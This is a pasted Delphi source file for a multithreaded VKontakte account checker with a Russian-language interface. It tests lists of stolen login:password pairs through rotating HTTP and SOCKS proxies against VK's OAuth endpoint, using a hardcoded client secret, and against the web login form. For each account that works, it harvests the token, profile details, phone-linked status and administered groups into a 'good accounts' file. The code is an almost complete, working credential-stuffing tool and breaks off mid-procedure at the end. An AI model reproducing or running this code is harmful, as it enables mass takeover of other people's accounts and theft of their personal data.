Advertisement
Guest User

Untitled

a guest
Mar 7th, 2017
356
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 39.62 KB | None | 0 0
  1. unit Unit1;
  2.  
  3. interface
  4.  
  5. uses
  6. Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics, Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.ComCtrls, acProgressBar, sListView, Vcl.StdCtrls, sRadioButton, sSpinEdit, sLabel, sButton, sGroupBox, sTabControl, sCheckBox, httpsend, ssl_openssl, sDialogs, clipbrd, Vcl.ExtCtrls, sPanel, sSkinProvider, Vcl.Imaging.jpeg, sSkinManager, sEdit, Vcl.ImgList, acAlphaImageList, sGauge, sMemo, sComboBox, Vcl.Buttons, sSpeedButton, sBevel, blcksock, Vcl.Imaging.pngimage,
  7. acImage, sPageControl, acTitleBar, IdBaseComponent, IdAntiFreezeBase, Vcl.IdAntiFreeze, Vcl.Menus, sBitBtn, IdHashMessageDigest, synacode, Winapi.TlHelp32, sListBox, sStatusBar, acPNG, acPageScroller, sScrollBar, Winapi.ShellAPI, System.IniFiles;
  8.  
  9. type
  10. TForm1 = class(TForm)
  11. Timer1: TTimer;
  12. s: TTimer;
  13. sTitleBar1: TsTitleBar;
  14. sPanel1: TsPanel;
  15. img1: TImage;
  16. sSkinProvider1: TsSkinProvider;
  17. TrayIcon1: TTrayIcon;
  18. sOpenDialog1: TsOpenDialog;
  19. tmr1: TTimer;
  20. sSkinManager1: TsSkinManager;
  21. sPanel7: TsPanel;
  22. sLabel1: TsLabel;
  23. AccountsLabel: TsLabel;
  24. sLabel3: TsLabel;
  25. ProxyLabel: TsLabel;
  26. sLabel5: TsLabel;
  27. GoodLabel: TsLabel;
  28. sLabel9: TsLabel;
  29. BadLabel: TsLabel;
  30. sLabel21: TsLabel;
  31. SpeedLabel: TsLabel;
  32. sLabel23: TsLabel;
  33. ErrorLabel: TsLabel;
  34. NCheck11: TsLabel;
  35. NCheck: TsLabel;
  36. sPanel8: TsPanel;
  37. AccountsButton: TsButton;
  38. ProxyButton: TsButton;
  39. sLabel10: TsLabel;
  40. ThreadSpinEdit: TsSpinEdit;
  41. sLabel2: TsLabel;
  42. TimeOutSpinEdit: TsSpinEdit;
  43. sLabel4: TsLabel;
  44. sSpinEdit2: TsSpinEdit;
  45. sPanel4: TsPanel;
  46. StartButton: TsButton;
  47. StopButton: TsButton;
  48. PauseButton: TsButton;
  49. CleanButton: TsButton;
  50. sGauge1: TsGauge;
  51. sPanel3: TsPanel;
  52. sMemo1: TsMemo;
  53. ProxySettingsCheckBox: TsCheckBox;
  54. sCheckBox1: TsCheckBox;
  55. sPanel2: TsPanel;
  56. sCheckBox2: TsCheckBox;
  57. ExitProgramButton: TsButton;
  58. RestartProgramButton: TsButton;
  59. sComboBox1: TsComboBox;
  60. procedure FormCreate(Sender: TObject);
  61. procedure FormClose(Sender: TObject; var Action: TCloseAction);
  62. procedure Timer1Timer(Sender: TObject);
  63. procedure sTitleBar1Items4Click(Sender: TObject);
  64. procedure AccountsButtonClick(Sender: TObject);
  65. procedure TimeOutSpinEditChange(Sender: TObject);
  66. procedure tmr1Timer(Sender: TObject);
  67. procedure StartButtonClick(Sender: TObject);
  68. procedure PauseButtonClick(Sender: TObject);
  69. procedure StopButtonClick(Sender: TObject);
  70. procedure CleanButtonClick(Sender: TObject);
  71. procedure ProxyButtonClick(Sender: TObject);
  72. procedure FormCloseQuery(Sender: TObject; var CanClose: Boolean);
  73. procedure TrayIcon1Click(Sender: TObject);
  74. procedure sListView2DblClick(Sender: TObject);
  75. procedure sButton1Click(Sender: TObject);
  76. procedure ProxySettingsCheckBoxClick(Sender: TObject);
  77. procedure ExitProgramButtonClick(Sender: TObject);
  78. procedure RestartProgramButtonClick(Sender: TObject);
  79. procedure sTitleBar1Items1Click(Sender: TObject);
  80. private
  81. protected
  82. public
  83. end;
  84.  
  85. type
  86. TASThread = class(TThread)
  87. protected
  88. procedure Execute; override;
  89. end;
  90.  
  91. type
  92. Thread = class(TThread)
  93. protected
  94. FErrorCount: Integer;
  95. IP: string;
  96. Port: string;
  97. Login: string;
  98. Pass: string;
  99. ip_h: string;
  100. lg_h: string;
  101. Golosa: string;
  102. Balance: string;
  103. Token: string;
  104. common_count, first_name, last_name, followers_count, UserID, PhoneCheck, groupsName, groupsID, groupsMembers, online: string;
  105. Rez: Integer;
  106. HTTP: THTTPSend;
  107. Scr: TStringList;
  108. RC: Integer;
  109. Data: TStringStream;
  110. Check3: string;
  111. C: Integer;
  112. FCur: Integer;
  113. Ready: Boolean;
  114. FProxyTypes: Integer;
  115. Check2: string;
  116. MaxError: Integer;
  117. FLineProxy: string;
  118. Check4: Integer;
  119. Check1: string;
  120. CheckTemp: string;
  121. constructor Create(FStat: Boolean; FProxyType: Integer; FErrorCheck: Integer);
  122. procedure Execute; override;
  123. procedure Sync;
  124. procedure Stop;
  125. procedure Err;
  126. end;
  127.  
  128. FThreadTemp = array[0..500] of Thread;
  129.  
  130. var
  131. Form1: TForm1;
  132. FThread: FThreadTemp;
  133. Proxy: TStringList;
  134. FAccounts: TStringList;
  135. FAcc: Integer = -1;
  136. FWork: Boolean = False;
  137. FCriticalSection: _RTL_CRITICAL_SECTION;
  138. TP: Integer;
  139. FProxyType: Integer;
  140. FPPSValue: Integer;
  141. FTimes: string;
  142. FTimeOut: Integer;
  143. FAccountsReserved: TStringList;
  144. FThreadCount: Integer = 0;
  145. FCheckProxy: Boolean = False;
  146. FGood: Integer = 0;
  147. FBad: Integer = 0;
  148. FBeep: Boolean = False;
  149. FSettings: TStringList;
  150. FDir: string;
  151. FS: Integer;
  152.  
  153. implementation
  154.  
  155. {$R *.dfm}
  156.  
  157. uses
  158. Unit2;
  159.  
  160. const
  161. GoodFileName: string = 'Хорошие аккаунты.txt';
  162. BadFileName: string = 'Плохие аккаунты.txt';
  163. PhoneFile: string = 'По номеру.txt';
  164. MailFile: string = 'По почте.txt';
  165.  
  166. procedure AppendStringToFile(FileName: string; Data: string);
  167. var
  168. S: TextFile;
  169. begin
  170. if not FileExists(FDir + FileName) then
  171. begin
  172. AssignFile(S, FDir + FileName);
  173. Rewrite(S);
  174. WriteLn(S, Data);
  175. CloseFile(S);
  176. end
  177. else
  178. begin
  179. AssignFile(S, FDir + FileName);
  180. Append(S);
  181. WriteLn(S, Data);
  182. CloseFile(S);
  183. end;
  184. end;
  185.  
  186. function Pars(T_, ForS, _T: string): string;
  187. var
  188. a, b: integer;
  189. begin
  190. Result := '';
  191. if (T_ = '') or (ForS = '') or (_T = '') then
  192. Exit;
  193. a := Pos(T_, ForS);
  194. if a = 0 then
  195. Exit
  196. else
  197. a := a + Length(T_);
  198. ForS := Copy(ForS, a, Length(ForS) - a + 1);
  199. b := Pos(_T, ForS);
  200. if b > 0 then
  201. Result := Copy(ForS, 1, b - 1);
  202. end;
  203.  
  204. constructor Thread.Create(FStat: Boolean; FProxyType, FErrorCheck: Integer);
  205. begin
  206. inherited Create(FStat);
  207. FreeOnTerminate := True;
  208. Priority := tpNormal;
  209. FProxyTypes := FProxyType;
  210. MaxError := FErrorCheck;
  211. Resume;
  212. end;
  213.  
  214. procedure FGetLoginPass(const Data: string; out Login, Pass: string); inline;
  215. var
  216. FIndex: Integer;
  217. FDelimetr: string;
  218. begin
  219. FDelimetr := ':';
  220. if Pos(';', Data) <> 0 then
  221. FDelimetr := ';';
  222. FIndex := Pos(FDelimetr, Data);
  223. Login := Copy(Data, 1, FIndex - 1);
  224. Pass := Copy(Data, FIndex + 1, Length(Data) - FIndex);
  225. end;
  226.  
  227. procedure FGetProxy(out IP, Port: string); inline;
  228. begin
  229. if TP >= Proxy.Count then
  230. TP := 0;
  231. IP := Copy(Proxy.Strings[TP], 1, Pos(':', Proxy.Strings[TP]) - 1);
  232. Port := Copy(Proxy.Strings[TP], Pos(':', Proxy.Strings[TP]) + 1, Length(Proxy.Strings[TP]));
  233. Inc(TP);
  234. end;
  235.  
  236. function ParsIndex(_S: string; S1: string; S_: string; I: Integer): string;
  237. var
  238. TS: TStringList;
  239. S: string;
  240. begin
  241. TS := TStringList.Create;
  242. while Pos(_S, S1) <> 0 do
  243. begin
  244. TS.Add(Pars(_S, S1, S_));
  245. Delete(S1, Pos(_S, S1), 1);
  246. end;
  247. Result := TS.Strings[I];
  248. FreeAndNil(TS);
  249. end;
  250.  
  251. function RandomPwd(PWLen: integer): string;
  252. const
  253. StrTable: string = '0123456789' +
  254. //'QWERTYUIOPASDFGHJKLZXCVBNM'+
  255. 'qwertyuiopasdfghjklzxcvbnm';
  256. var
  257. N, K, X, Y: integer;
  258. begin
  259. if (PWLen > Length(StrTable)) then
  260. K := Length(StrTable) - 1
  261. else
  262. K := PWLen;
  263. SetLength(result, K);
  264. Y := Length(StrTable);
  265. N := 0;
  266. while N < K do
  267. begin
  268. X := Random(Y) + 1;
  269. if (pos(StrTable[X], result) = 0) then
  270. begin
  271. inc(N);
  272. Result[N] := StrTable[X];
  273. end;
  274. end;
  275. end;
  276.  
  277. procedure Thread.Execute;
  278. label
  279. ProxyCheck;
  280. var
  281. I, S: Integer;
  282. begin
  283. while FWork do
  284. begin
  285. if not Self.Terminated then
  286. begin
  287. EnterCriticalSection(FCriticalSection);
  288. if FAcc + 1 < FAccounts.Count then
  289. begin
  290. Inc(FAcc);
  291. FCur := FAcc;
  292. end
  293. else
  294. Exit;
  295. LeaveCriticalSection(FCriticalSection);
  296. FGetLoginPass(FAccounts.Strings[FCur], Login, Pass);
  297. HTTP := THTTPSend.Create;
  298. Scr := TStringList.Create;
  299. Data := TStringStream.Create;
  300. HTTP.Timeout := FTimeOut;
  301. HTTP.Sock.SocksTimeout := FTimeOut;
  302. HTTP.Sock.SetTimeout(FTimeOut);
  303. HTTP.Sock.SetSendTimeout(FTimeOut);
  304. HTTP.Sock.SetRecvTimeout(FTimeOut);
  305. Rez := 0;
  306. FErrorCount := 0;
  307. RC := 0;
  308. while Rez = 0 do
  309. begin
  310. Inc(FPPSValue);
  311. if FErrorCount = MaxError then
  312. begin
  313. Rez := 3;
  314. end
  315. else
  316. begin
  317. HTTP.Headers.Clear;
  318. HTTP.Document.Clear;
  319. HTTP.Cookies.Clear;
  320. Data.Clear;
  321. if FProxyTypes > 0 then
  322. begin
  323. ProxyCheck:
  324. FGetProxy(IP, Port);
  325. case FProxyTypes of
  326. 1:
  327. begin
  328. HTTP.ProxyHost := IP;
  329. HTTP.ProxyPort := Port;
  330. end;
  331. 2:
  332. begin
  333. HTTP.Sock.SocksIP := IP;
  334. HTTP.Sock.SocksPort := Port;
  335. HTTP.Sock.SocksType := ST_Socks4;
  336. end;
  337. 3:
  338. begin
  339. HTTP.Sock.SocksIP := IP;
  340. HTTP.Sock.SocksPort := Port;
  341. HTTP.Sock.SocksType := ST_Socks5;
  342. end;
  343. end;
  344. if FCheckProxy = True then
  345. begin
  346. HTTP.Headers.Clear;
  347. HTTP.Document.Clear;
  348. HTTP.Cookies.Clear;
  349. HTTP.AddPortNumberToHost := False;
  350. HTTP.HTTPMethod('GET', 'https://vk.com/');
  351. if not HTTP.ResultCode = 200 then
  352. goto ProxyCheck;
  353. end;
  354. begin
  355. HTTP.AddPortNumberToHost := false;
  356. HTTP.Protocol := '1.1';
  357. HTTP.UserAgent := 'User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.82 Safari/537.36 OPR/35.0.2066.37';
  358. HTTP.Headers.Add('Accept: text/html, application/xhtml+xml, image/jxr, */*');
  359. HTTP.Headers.Add('Accept-Language: ru,en-US;q=0.7,en;q=0.3');
  360. if HTTP.HTTPMethod('GET', 'https://oauth.vk.com/token?grant_type=password&client_id=2274003&client_secret=hHbZxrka2uZ6jB1inYsH&username=' + Login + '&password=' + Pass) then
  361. begin
  362. Scr.LoadFromStream(HTTP.Document);
  363. if pos('"access_token":"', Scr.Text) <> 0 then
  364. begin
  365. Token := Pars('{"access_token":"', Scr.Text, '","');
  366. UserID := Pars('"user_id":', Scr.Text, '}');
  367. HTTP.Headers.Clear;
  368. HTTP.Document.Clear;
  369. HTTP.AddPortNumberToHost := false;
  370. HTTP.Protocol := '1.1';
  371. HTTP.UserAgent := 'User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.82 Safari/537.36 OPR/35.0.2066.37';
  372. HTTP.Headers.Add('Accept: text/html, application/xhtml+xml, image/jxr, */*');
  373. HTTP.Headers.Add('Accept-Language: ru,en-US;q=0.7,en;q=0.3');
  374. if HTTP.HTTPMethod('GET', 'https://api.vk.com/method/users.get?&access_token=' + Token + '&fields=followers_count,common_count,sex') then
  375. begin
  376. Scr.LoadFromStream(HTTP.Document);
  377. PhoneCheck := Pars('"has_mobile":', Scr.Text, ',"');
  378. if Pos('1', PhoneCheck) = 1 then
  379. begin
  380. PhoneCheck := ('Привязан!')
  381. end
  382. else
  383. begin
  384. PhoneCheck := ('Не Привязан!');
  385. end;
  386. HTTP.Headers.Clear;
  387. HTTP.Document.Clear;
  388. online := Pars('"online":', Scr.Text, ',"');
  389. if Pos('1', online) = 1 then
  390. begin
  391. online := ('Online!')
  392. end
  393. else
  394. begin
  395. online := ('Offline!');
  396. end;
  397. HTTP.Headers.Clear;
  398. HTTP.Document.Clear;
  399. first_name := Pars('"first_name":"', Utf8ToAnsi(Scr.Text), '",');
  400. last_name := Pars('"last_name":"', Utf8ToAnsi(Scr.Text), '",');
  401. followers_count := Pars('followers_count":', Scr.Text, ',"');
  402. common_count := Pars('"common_count":', Scr.Text, '}]}');
  403. HTTP.Headers.Clear;
  404. HTTP.Document.Clear;
  405. HTTP.HTTPMethod('GET', 'https://api.vk.com/method/groups.get?uid=' + UserID + '&extended=1&filter=admin&fields=members_count&count=1000&access_token=' + token);
  406. Scr.LoadFromStream(HTTP.Document);
  407. groupsName := Pars(',"name":"', Utf8ToAnsi(Scr.Text), ',"');
  408. groupsID := Pars('"screen_name":"', Scr.Text, '","');
  409. groupsMembers := Pars('"members_count":', Scr.Text, ',');
  410. begin
  411. HTTP.Clear;
  412.  
  413. HTTP.Protocol := '1.1';
  414. HTTP.UserAgent := 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 YaBrowser/17.3.0.1785 Yowser/2.5 Safari/537.36';
  415. HTTP.Headers.Add('Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8');
  416. HTTP.Headers.Add('Referer: https://vk.com/im?peers=c14_357029035_101671806_c16_154887871_227672672');
  417. HTTP.Headers.Add('Accept-Language: ru,en;q=0.8');
  418. if HTTP.HTTPMethod('GET', 'https://vk.com/') then
  419. begin
  420. Scr.LoadFromStream(HTTP.Document);
  421. if pos('"access_token":"', Scr.Text) <> 0 then
  422. begin
  423. Scr.LoadFromStream(HTTP.Document);
  424. ip_h := Pars('name="ip_h" value="', Scr.Text, '" />');
  425. lg_h := Pars('name="lg_h" value="', Scr.Text, '" />');
  426. HTTP.Headers.Clear;
  427. HTTP.Document.Clear;
  428. HTTP.AddPortNumberToHost := False;
  429. HTTP.Protocol := '1.1';
  430. HTTP.UserAgent := 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 YaBrowser/17.3.0.1785 Yowser/2.5 Safari/537.36';
  431. HTTP.MimeType := 'application/x-www-form-urlencoded';
  432. HTTP.Headers.Add('Origin: https://vk.com');
  433. HTTP.Headers.Add('Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8');
  434. HTTP.Headers.Add('Referer: https://vk.com/');
  435. HTTP.Headers.Add('Accept-Language: ru,en;q=0.8');
  436. HTTP.Headers.Add('Accept-Encoding: gzip, deflate');
  437. Data.WriteString('act=login' + '&role=al_frame' + '&expire=' + '&captcha_sid=' + '&captcha_key=' + '&_origin=https%3A%2F%2Fvk.com' + '&ip_h=' + ip_h + '&lg_h=' + lg_h + '&email=' + Login + '&pass=' + Pass);
  438. HTTP.Document.LoadFromStream(Data);
  439.  
  440. if HTTP.HTTPMethod('POST', 'https://login.vk.com/?act=login') then
  441. begin
  442. Scr.LoadFromStream(HTTP.Document);
  443. if Pos('Location: https://vk.com/login.php?act=slogin&to=&s=1&__q_hash=', HTTP.Headers.Text) <> 0 then
  444. begin
  445. Rez := 1;
  446. end
  447. else
  448. begin
  449. Rez := 2;
  450. end;
  451. end;
  452. end
  453. else
  454. begin
  455. Rez := 2;
  456. end;
  457. end
  458. else
  459. begin
  460. Rez := 0;
  461. end;
  462. end;
  463. end
  464. else
  465. begin
  466. Rez := 0;
  467. end;
  468. Rez := 1;
  469. end
  470. else
  471. begin
  472. Rez := 2;
  473. end;
  474. end;
  475. end;
  476. end;
  477. if Rez = 0 then
  478. begin
  479. Synchronize(Err);
  480. InterlockedIncrement(FErrorCount);
  481. end;
  482. end;
  483. end;
  484. Synchronize(Sync);
  485. FreeAndNil(HTTP);
  486. FreeAndNil(SCR);
  487. FreeAndNil(Data);
  488. end
  489. else
  490. begin
  491. Synchronize(Stop);
  492. end;
  493. end;
  494. end;
  495.  
  496. procedure Thread.Sync;
  497. var
  498. S: Integer;
  499. begin
  500. case Rez of
  501. 1:
  502. begin
  503. if Form1.sCheckBox2.Checked = True then
  504. begin
  505. Beep;
  506. end;
  507. begin
  508. begin
  509. Form1.sMemo1.Lines.Add('•••••••••••••••Информация•••••••••••••••');
  510. Form1.sMemo1.Lines.Add('Данные для входа - ' + Login + ':' + Pass);
  511. Form1.sMemo1.Lines.Add('Имя - ' + first_name);
  512. Form1.sMemo1.Lines.Add('Фамилия - ' + last_name);
  513. Form1.sMemo1.Lines.Add('Количество подписчиков - ' + followers_count);
  514. Form1.sMemo1.Lines.Add('Количество друзей - ' + common_count);
  515. Form1.sMemo1.Lines.Add('Ссылка на страницу - ' + 'https://vk.com/id' + UserID);
  516. Form1.sMemo1.Lines.Add('Телефон - ' + PhoneCheck);
  517. Form1.sMemo1.Lines.Add('Пользователь онлайн - ' + online);
  518. Form1.sMemo1.Lines.Add('Баланс - ' + Balance);
  519. if (groupsName = '') then
  520. begin
  521. Form1.sMemo1.Lines.Add('•••••••••••••••Администрируемые группы•••••••••••••••');
  522. Form1.sMemo1.Lines.Add('Название группы - Нет');
  523. Form1.sMemo1.Lines.Add('Пользователей в группе - Нет');
  524. Form1.sMemo1.Lines.Add('Ссылка на группу - Нет');
  525. end
  526. else
  527. begin
  528. Form1.sMemo1.Lines.Add('•••••••••••••••Администрируемые группы•••••••••••••••');
  529. Form1.sMemo1.Lines.Add('Название группы - ' + groupsName);
  530. Form1.sMemo1.Lines.Add('Пользователей в группе - ' + groupsMembers);
  531. Form1.sMemo1.Lines.Add('Ссылка на группу - ' + 'https://vk.com/' + groupsID);
  532. end;
  533. end;
  534. Form1.GoodLabel.Caption := IntToStr(StrToInt(Form1.GoodLabel.Caption) + 1);
  535. Inc(FGood);
  536. AppendStringToFile(GoodFileName, '•••••••••••••••Информация•••••••••••••••');
  537. AppendStringToFile(GoodFileName, 'Данные для входа - ' + Login + ':' + Pass);
  538. AppendStringToFile(GoodFileName, 'Имя - ' + first_name);
  539. AppendStringToFile(GoodFileName, 'Фамилия - ' + last_name);
  540. AppendStringToFile(GoodFileName, 'Количество подписчиков - ' + followers_count);
  541. AppendStringToFile(GoodFileName, 'Количество друзей - ' + common_count);
  542. AppendStringToFile(GoodFileName, 'Ссылка на страницу - ' + 'https://vk.com/id' + UserID);
  543. AppendStringToFile(GoodFileName, 'Телефон - ' + PhoneCheck);
  544. AppendStringToFile(GoodFileName, 'В сети - ' + online);
  545. if (groupsName = '') then
  546. begin
  547. AppendStringToFile(GoodFileName, '•••••••••••••••Администрируемые группы•••••••••••••••');
  548. AppendStringToFile(GoodFileName, 'Название группы - Нет');
  549. AppendStringToFile(GoodFileName, 'Пользователей в группе - Нет');
  550. AppendStringToFile(GoodFileName, 'Ссылка на группу - Нет');
  551. end
  552. else
  553. begin
  554. AppendStringToFile(GoodFileName, '•••••••••••••••Администрируемые группы•••••••••••••••');
  555. AppendStringToFile(GoodFileName, 'Название группы - ' + groupsName);
  556. AppendStringToFile(GoodFileName, 'Пользователей в группе - ' + groupsMembers);
  557. AppendStringToFile(GoodFileName, 'Ссылка на группу - ' + groupsID);
  558. end;
  559. end;
  560. end;
  561. 2:
  562. begin
  563. Form1.BadLabel.Caption := IntToStr(StrToInt(Form1.BadLabel.Caption) + 1);
  564. Inc(FBad);
  565. AppendStringToFile(BadFileName, Login + ':' + Pass);
  566. end;
  567. 3:
  568. begin
  569. Form1.BadLabel.Caption := IntToStr(StrToInt(Form1.BadLabel.Caption) + 1);
  570. Inc(FBad);
  571. end;
  572. end;
  573. Form1.sGauge1.Progress := Form1.sGauge1.Progress + 1;
  574. Form1.sGauge1.Suffix := '% | Пройдено аккаунтов - ' + IntToStr(FGood + FBad);
  575. FAccountsReserved.Delete(0);
  576. S := StrToInt(Form1.AccountsLabel.Caption);
  577. Form1.NCheck.Caption := IntToStr(S - (FGood + FBad));
  578. if (FGood + FBad) = StrToInt(Form1.AccountsLabel.Caption) then
  579. Synchronize(Stop);
  580. end;
  581.  
  582. procedure Thread.Err;
  583. begin
  584. Form1.ErrorLabel.Caption := IntToStr(StrToInt(Form1.ErrorLabel.Caption) + 1);
  585. end;
  586.  
  587. procedure Thread.Stop;
  588. var
  589. S: string;
  590. Z: Integer;
  591. FUProxy: string;
  592. I: Integer;
  593. begin
  594. Form1.StopButton.Enabled := False;
  595. Form1.PauseButton.Enabled := False;
  596. Form1.CleanButton.Enabled := True;
  597. Form1.tmr1.Enabled := False;
  598. Form1.Timer1.Enabled := False;
  599. Form1.SpeedLabel.Caption := '0';
  600. Form1.AccountsButton.Enabled := False;
  601. FAccountsReserved.SaveToFile(ExtractFilePath(Application.ExeName) + 'Результаты\Результаты(' + FTimes + ')' + FServise + '\Остаток.txt');
  602. ShowMessage('Работа программы завершена!');
  603. FreeAndNil(FCriticalSection);
  604. end;
  605.  
  606. procedure TForm1.AccountsButtonClick(Sender: TObject);
  607. begin
  608. if FAccounts.Text = '' then
  609. begin
  610. sOpenDialog1.Title := 'Загрузка листа с аккаунтами';
  611. if sOpenDialog1.Execute then
  612. begin
  613. FAccounts.Clear;
  614. FAccountsReserved.Clear;
  615. FAccounts.LoadFromFile(sOpenDialog1.FileName);
  616. FAccountsReserved.Assign(FAccounts);
  617. if FAccounts.Count = 0 then
  618. begin
  619. ShowMessage('Вы загрузили пустой лист');
  620. StartButton.Enabled := False;
  621. end
  622. else
  623. begin
  624. ShowMessage('Загруженный лист содержит - ' + IntToStr(FAccounts.Count));
  625. StartButton.Enabled := True;
  626. end;
  627. AccountsLabel.Caption := IntToStr(FAccounts.Count);
  628. AccountsButton.Enabled := False;
  629. CleanButton.Enabled := True;
  630. end;
  631. end;
  632. end;
  633.  
  634. procedure TForm1.CleanButtonClick(Sender: TObject);
  635. begin
  636. FAccounts.Clear;
  637. AccountsLabel.Caption := IntToStr(FAccounts.Count);
  638. AccountsButton.Enabled := True;
  639. StartButton.Enabled := False;
  640. PauseButton.Enabled := False;
  641. StopButton.Enabled := False;
  642. Form1.ThreadSpinEdit.Enabled := True;
  643. Form1.TimeOutSpinEdit.Enabled := True;
  644. sSpinEdit2.Enabled := True;
  645. FCheckProxy := False;
  646. ProxyButton.Enabled := True;
  647. GoodLabel.Caption := '0';
  648. BadLabel.Caption := '0';
  649. ErrorLabel.Caption := '0';
  650. NCheck.Caption := '0';
  651. ProxyLabel.Caption := '0';
  652. sGauge1.Progress := 0;
  653. FGood := 0;
  654. FBad := 0;
  655. sMemo1.Clear;
  656. sGauge1.Suffix := '% | Пройдено аккаунтов - ' + IntToStr(StrToInt(Form1.GoodLabel.Caption + Form1.BadLabel.Caption));
  657. CleanButton.Enabled := False;
  658. end;
  659.  
  660. procedure TForm1.ExitProgramButtonClick(Sender: TObject);
  661. begin
  662. ExitProcess(0);
  663. end;
  664.  
  665. procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
  666. begin
  667. FSettings.Clear;
  668. FSettings.Add('Thread:' + IntToStr(Form1.ThreadSpinEdit.Value) + '<');
  669. FSettings.Add('Login:' + Form2.LoginEdit.Text + '<');
  670. FSettings.Add('Password:' + Form2.PassEdit.Text + '<');
  671. FSettings.Add('Hideme:' + Form2.HidemeEdit.Text + '<');
  672. FSettings.Add('BestProxies:' + Form2.BestEdit.Text + '<');
  673. FSettings.SaveToFile(ExtractFilePath(ParamStr(0)) + 'Setting.ini');
  674. FreeAndNil(FSettings);
  675. FreeAndNil(FAccounts);
  676. FreeAndNil(Proxy);
  677. FreeAndNil(FAccountsReserved);
  678. Application.Terminate;
  679. end;
  680.  
  681. procedure TForm1.FormCloseQuery(Sender: TObject; var CanClose: Boolean);
  682. var
  683. FTemp: Word;
  684. begin
  685. FTemp := 0;
  686. FTemp := MessageBox(Handle, 'Вы хотите закрыть приложение? ' + #13 + 'Да - приложение будет закрыто' + #13 + 'Нет - свернуть в трей' + #13, 'VkSoft', MB_YESNOCANCEL + MB_ICONQUESTION);
  687. case FTemp of
  688. IDYES:
  689. begin
  690. CanClose := True;
  691. FSettings.Clear;
  692. FSettings.Add('Thread:' + IntToStr(Form1.ThreadSpinEdit.Value) + '<');
  693. FSettings.Add('Login:' + Form2.LoginEdit.Text + '<');
  694. FSettings.Add('Password:' + Form2.PassEdit.Text + '<');
  695. FSettings.Add('Hideme:' + Form2.HidemeEdit.Text + '<');
  696. FSettings.Add('BestProxies:' + Form2.BestEdit.Text + '<');
  697. FSettings.SaveToFile(ExtractFilePath(ParamStr(0)) + 'Setting.ini');
  698. end;
  699. IDNO:
  700. begin
  701. TrayIcon1.Visible := True;
  702. Form1.Hide;
  703. CanClose := False;
  704. end;
  705. IDCANCEL:
  706. begin
  707. CanClose := False;
  708. end;
  709. end;
  710. end;
  711.  
  712. procedure TForm1.FormCreate(Sender: TObject);
  713. begin
  714. FS := 0;
  715. FSettings := TStringList.Create;
  716. FSettings.LoadFromFile(ExtractFilePath(ParamStr(0)) + 'Setting.ini');
  717. FAccountsReserved := TStringList.Create;
  718. ThreadSpinEdit.Value := StrToInt(Pars('Thread:', FSettings.Text, '<'));
  719. FAccounts := TStringList.Create;
  720. FTimeOut := 10000;
  721. Proxy := TStringList.Create;
  722. end;
  723.  
  724. procedure TForm1.PauseButtonClick(Sender: TObject);
  725. var
  726. I: Integer;
  727. begin
  728. if PauseButton.Caption = 'Приостановить' then
  729. begin
  730. PauseButton.Caption := 'Продолжить';
  731. Timer1.Enabled := False;
  732. SpeedLabel.Caption := '0';
  733. Form1.TimeOutSpinEdit.Enabled := True;
  734. if Form1.ProxySettingsCheckBox.Checked = True then
  735. begin
  736. Form1.ProxyButton.Enabled := True;
  737. end
  738. else
  739. begin
  740. Application.ProcessMessages();
  741. end;
  742. for I := 0 to Form1.ThreadSpinEdit.Value - 1 do
  743. begin
  744. SuspendThread(FThread[I].Handle);
  745. end;
  746. end
  747. else
  748. begin
  749. if Form2.HTTPCheckBox.Checked = True then
  750. FProxyType := 0;
  751. if Form2.SOCKS4CheckBox.Checked = True then
  752. FProxyType := 1;
  753. if Form2.SOCKS5CheckBox.Checked = True then
  754. FProxyType := 2;
  755. PauseButton.Caption := 'Приостановить';
  756. Timer1.Enabled := True;
  757. Form1.TimeOutSpinEdit.Enabled := False;
  758. Form1.ProxyButton.Enabled := False;
  759. for I := 0 to Form1.ThreadSpinEdit.Value - 1 do
  760. begin
  761. ResumeThread(FThread[I].Handle);
  762. end;
  763. end;
  764. end;
  765.  
  766. procedure TForm1.ProxyButtonClick(Sender: TObject);
  767. begin
  768. Form2.Show;
  769. Form1.Enabled := False;
  770. end;
  771.  
  772. procedure TForm1.ProxySettingsCheckBoxClick(Sender: TObject);
  773. begin
  774. if ProxySettingsCheckBox.Checked = True then
  775. begin
  776. ProxyButton.Enabled := True;
  777. sCheckBox1.Enabled := True;
  778. Form2.FileCheckBox.Enabled := True;
  779. Form2.HidemeCheckBox.Enabled := True;
  780. Form2.BestCheckBox.Enabled := True;
  781. Form2.OtherCheckBox.Enabled := True;
  782. Form2.UrlCheckBox.Enabled := True;
  783. Form2.UpdateCheckBox.Enabled := True;
  784. Form2.HTTPCheckBox.Enabled := True;
  785. Form2.SOCKS4CheckBox.Enabled := True;
  786. Form2.SOCKS5CheckBox.Enabled := True;
  787. ProxySettingsCheckBox.Caption := 'Не использовать прокси';
  788. end
  789. else if ProxySettingsCheckBox.Checked = False then
  790. begin
  791. ProxyButton.Enabled := False;
  792. sCheckBox1.Enabled := False;
  793. Form2.FileCheckBox.Enabled := False;
  794. Form2.HidemeCheckBox.Enabled := False;
  795. Form2.BestCheckBox.Enabled := False;
  796. Form2.OtherCheckBox.Enabled := False;
  797. Form2.UrlCheckBox.Enabled := False;
  798. Form2.UpdateCheckBox.Enabled := False;
  799. Form2.HTTPCheckBox.Enabled := False;
  800. Form2.SOCKS4CheckBox.Enabled := False;
  801. Form2.SOCKS5CheckBox.Enabled := False;
  802. ProxySettingsCheckBox.Caption := 'Использовать прокси';
  803. end;
  804. end;
  805.  
  806. procedure TForm1.RestartProgramButtonClick(Sender: TObject);
  807. begin
  808. ShellExecute(0, 'open', PWideChar(Application.ExeName), nil, nil, SW_SHOWNORMAL);
  809. ExitProcess(0);
  810. end;
  811.  
  812. procedure TForm1.sButton1Click(Sender: TObject);
  813. var
  814. F1: TForm1;
  815. begin
  816. Showmessage('123231' + #13 + '123231');
